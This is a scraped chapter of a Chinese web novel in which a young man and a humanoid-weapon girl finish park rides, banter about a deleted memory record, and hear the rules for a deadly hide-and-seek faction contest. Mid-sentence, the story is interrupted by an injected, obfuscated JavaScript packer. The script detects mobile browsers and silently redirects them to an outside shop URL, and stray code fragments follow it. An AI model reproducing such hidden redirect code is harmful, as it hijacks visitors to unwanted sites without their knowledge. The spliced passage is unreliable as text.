文趣网 > 其他小说 > 人形兵器杀穿无限 > 102. 第 102 章
    乘坐过在最高点突然被小鸟撞碎玻璃的摩天轮,开过跑道上会冒出吃人的大嘴的碰碰车,按要求在3分钟内速通堪比逃亡神庙的淘气堡,爬上不仅没有保护措施还有毒蛇出没的垂直攀岩,走过真的养着一群饥饿的恐龙的侏罗纪公园,陆昂的手环传来轻微的震动。

    【必选任务:体验12项游乐设施(已完成)】

    【必选任务已完成,是否脱离当前梦境?】

    陆昂选【否】,下一条提醒随之弹出。

    【契约者已完成必选任务,空闲状态下可以随时脱离当前梦境。】

    第二次阵营对抗开始,白色男孩出现在对抗区的大屏幕上。

    对抗区开启后,冒险区和沉浸区会暂停营业,所有契约者都提前集中到这里,等待这一轮的对抗赛。

    阵营分化非常明显,契约者们自发自觉地站到属于自己阵营那一侧的大屏幕下方。

    红日阵营站在最前方的,正是北极星联盟的会长,谢北宸。

    蓝月阵营站在最前方的,是一身僧衣的空明。

    不想与自然人进行海量交互的祁无忧在走到对抗区的路程中规避了所有可能有契约者出现的路线,最终把目的地设为离对抗区不远的一棵大树上。

    陆昂坐在茂密的树枝上,看着双方阵营的契约者都在窃窃私语,莫名觉得这画面有点好笑。

    不想和别人说话,所以干脆藏起来。

    这样的祁无忧和内向又害羞的小女孩又有什么区别。

    陆昂完全忽略了这个“内向又害羞”的小女孩刚刚在游乐场里摧毁了一座数百吨重的钢铁怪兽,还杀死了两只自白垩纪复活的霸王龙,自顾自地把手掌放到祁无忧脑袋上,使劲揉了揉。

    祁无忧转过头看着陆昂,她不会主动和陆昂亲近,但也不排斥陆昂常做的一些小动作。

    牵手,摸头,还有……她进行程序性自检的时候,陆昂突然跳起来用“蜡质和果胶染色后的纤维素片状物”(印花棉布床单)包住她全身的皮肤。

    特殊个体的心率从69次/分在3秒内飙升至138次/分。

    急剧变化的数值造成祁无忧的误判,视觉系统没有看到伤痕,侦查系统没有检测到想子波动,于是她尝试用已经记录过的无序想子波碎片进行分析。

    非常……奇特的想子信号。

    祁无忧无法用存储在语言系统中的12种语言里面的任何一个词汇来准确描绘那一瞬间感应到的,陆昂的心情。

    得到【绯红之心】后,她获得过很多情绪碎片,已经在“核”中记录下来的共有372种。

    也没有任何一种与陆昂在那个瞬间表露出的情绪重合。

    甚至连相近的波段都没有。

    这很不寻常。

    恐惧与厌恶相近,喜欢与欲望同源,即使是不会产生情绪的人形机体,也可以根据想子波段分析轻易得知自然人的感情根源。

    那个夜晚,从陆昂身上读取到的“情绪”再一次超出祁无忧的认知,高频与低频混杂,长波与短波交错,互相影响,互相干扰,本该快速衰变,却漫长的没有尽头。

    祁无忧花了相当多的算力来记录这段特殊的想子信号。

    毫不夸张地说,比修复跳楼机使用的算力还多。

    祁无忧难得对着自己露出沉思的表情,陆昂有点好奇:“在想什么?”

    少女没有立刻回答,这往往说明她的答案会很长,需要组织语言。

    时间。

    “两个行星日之前的晚上。”

    地点。

    “织梦镇坐标X335,Y231,Z016。”

    事件。

    “特殊个体受到未知……”

    在祁无忧开始复述事件经过的时候,陆昂想到了对方想说什么,他立刻大声制止:“等一下!”

    祁无忧停下来,眼神清澈,表情无辜。

    与之相对的,陆昂满脸通红,呼吸急促,他甚至不敢去看祁无忧根本不会有表情的脸,只能把自己的视线牢牢定在少女身前20厘米的树干,以此来逃避可能会发生的一系列连锁反应。

    明知道对方的回答,陆昂还是抱着希望提问了:“无忧,我们商量一下。真的不能忘记那天晚上的事情吗?”

    祁无忧很干脆:“不能。”

    人形机体不具备“忘记”的能力。

    相处久了,陆昂基本摸清了祁无忧的逻辑,他换了种问法:“那么,把关于‘那件事’的记录从核心中删掉,这样可以吗?”

    对面传来少女平稳的声线:“指代不明,事件确认……”

    “就是那个!”在祁无忧说出更要命的话之前,陆昂强行打断,他仍然低着头,因为太过羞耻而显得有些咬牙切齿的,找不到合适的语言描述,也害怕指代错误,最后不得不采取祁无忧原本的说法,“特殊个体受到未知刺激后副交感神经兴奋促使海绵体组织结构异常事件。”

    再快的语速也无法掩饰陆昂的羞恼,更何况他的脸已经红透了。

    因为他比祁无忧更深刻地了解这件事发生的全过程。

    这大概是唯一一件他比祁无忧更能了解其本质意义的事件,作为“异常事件”的主体。

    毕竟,这个异常事件,用通俗的话来说就是——陆昂在午夜梦醒时突然发现身旁坐着赤身裸体的祁无忧并在视觉感官的巨大刺激下……产生了生理反应。

    脸在发烫,手在发烫,全身都在往外冒热气。

    在发现这不是梦而是现实之后,陆昂第一时间做出正确的反应:把床单掀起来裹在祁无忧身上。

    再怎么宣称自己是人形兵器而外表就是美丽少女的祁无忧微微仰头,不明不白地看着全身发红的陆昂,1分钟的沉默和读取后,把“这件事”作为异常事件如实记录到核心中。

    喜欢祁无忧不丢人。

    被祁无忧发现自己的生理反应也不丢人。

    陆昂早把祁无忧视为自己生命的一部分,在他的立场看来也已经告白过了,并且祁无忧接受了!

    除了牵手,没有更进一步的进展,不是因为陆昂不想,而是因为祁无忧不懂。

    但是被祁无忧把这件事纤毫毕现地记住并且储存在“核”中以后还可能作为什么自然人异常行为研究数据共享给不知道多少个人形机体……绝对不行!

    陆昂至今没有放弃抗争:“总之,就是‘这件事’。从核心中删掉,可以吧。”

    祁无忧没有否认自己具备“删除记录”的能力,而是在确认具体需要删除的事件,所以陆昂认为这是可行的。

    他的语气几乎不再是商量,而接近于“指令”了。

    “拒绝。”祁无忧一口否决。

    少女的语气称得上认真,或者说,祁无忧对任何话语作出的回应都足够认真,在经过毫无破绽地思考后才会行动。

    在胡思乱想中拜托了害羞的窘境,陆昂抬起头,从下往上看站在自己面前的祁无忧。

    红瞳是少女处于“任务模式”的标志,为了思考这个问题,“节能模式”的运算能力已经不够用了吗?

    完蛋了。

    明明是毫无表情的脸蛋,明明是强烈非人感的红色瞳孔,想到要拒绝自己,祁无忧甚至提高了行为等级模式,就觉得可爱得不得了。

    就算陆昂有自夸的嫌疑,他也认为自己是目前见过的所有人之中,祁无忧最会认真对待的那一个。

    “特殊个体常驻指令”明明连“十戒律”的防线都突破了,为什么偏偏删不掉一个普通夜晚的“事件记录”,陆昂百思不得其解。

    “阵营对抗开始了。”祁无忧主动播报。

    不排除转移话题的嫌疑。

    “是,是,我们也过去吧。”陆昂撑着树干跳到地上,祁无忧悄无声息落到他身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763702|202786||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    边。

    在祁无忧转移话题之前,有一道灵光在陆昂脑海闪过,稍纵即逝,没有抓住。

    现在不是追究的时候,因为大屏幕已经亮起,白色男孩微笑着出现在契约者们面前。

    “各位游客,下午好。”

    左右两边的屏幕适时亮起。

    红日阵营:4300点数。

    蓝月阵营:3980点数。

    陆昂微微皱眉,感觉蓝月阵营的点数少得不太正常。

    契约者人数差不多的情况下,点数会差出来几百点吗?

    “恭喜存活至今的各位,有机会体验阵营对抗第二阶段。”

    白色男孩声调欢快,有种刻意而为之的恶意嘲弄。

    “我宣布,本阶段将进行的游戏是——捉迷藏!”

    居然改变了项目!

    陆昂和其他契约者一样,全神贯注地听着新的游戏规则。

    “本轮游戏中,对抗区将从每个阵营中随机抽取一名‘标记者’。”

    “作为奖励,抓住对方阵营‘标记者’的契约者,可以获得‘牧羊人游乐场速通票’,直接通关本次任务。”

    台下顿时响起一阵吵闹声。

    牧羊人游乐场已经开园9个小时,陆昂可以非常肯定地说,体验完12个项目完成必选任务的契约者应该不超过10个,更残酷的情况是,或许只有他们两个。

    确实有碰碰车、旋转木马这类固定时长的项目,也有摩天轮、攀岩等不算太难的项目,但是除了这几项,剩下的项目全部都难得离谱。

    淘气堡要求3分钟内速通,祁无忧无视了所有障碍跑在前面,陆昂紧跟在她身后也花了一分半才到终点。除了祁无忧,有哪个契约者能用想子波开路扫清所有障碍?一旦超时就算失败,只能从头再来,而每次障碍设置的方式、位置都是不一样的。

    侏罗纪公园入园后必须按照固定线路游览,祁无忧在园中大开杀戒,也花了半个多小时才按地图走完全程。陆昂想不到其他契约者能够在两小时内走出侏罗纪公园的可能。

    空明带人体验鬼屋项目,在折损了3名契约者的情况下,通关时长1小时20分钟。

    祁无忧计算自己体验每个项目的平均用时是12分钟,换成其他契约者,就算拥有再强的技能也要在这个基础上乘以3倍。

    再加上排队、分析和走路的时间,每个项目至少平均花费45分钟,体验12个项目需要耗时9小时。开园至今刚好9小时,但要扣除中间1小时的阵营对抗,契约者们的时间完全不够用。

    陆昂的结论绝对不是狂妄自大,而是他对项目的困难程度和契约者们的水平有着清晰的认知。

    他的推测是正确的,整个“牧羊人游乐场”中完成必选任务的,确实只有祁无忧和他。

    新的游戏规则给濒临绝望的契约者们带来了希望。

    白色男孩没有急着说话,他让契约者们充分理解新游戏的规则后,露出更加灿烂的笑容。

    “注意,触摸‘标记者’身上的纹章,同时说出‘抓到你了’即视为抓捕成功。”

    比起体验各种危险项目,抓住一个“标记者”听起来容易多了。

    白色男孩很满意契约者们的蠢蠢欲动。

    “作为惩罚,被抓住的‘标记者’将立即失去资格,直接视为任务失败,对抗区将继续在同阵营中抽取新的‘标记者’。”

    被抓住就会死,这场“捉迷藏”和八角笼一样,是生死之战。

    几个原本站在蓝月阵营里的契约者偷偷挪向红日阵营,红日阵营里亦有人乘机溜到蓝月阵营。

    “本阶段中,点数领先的阵营可以使用技能,点数落后的阵营禁用技能。”

    在一片哗然中,白色男孩愉快地宣布:“阵营对抗第二阶段——正式开始。”

    出现在大屏幕右侧的,赫然是陆昂的脸!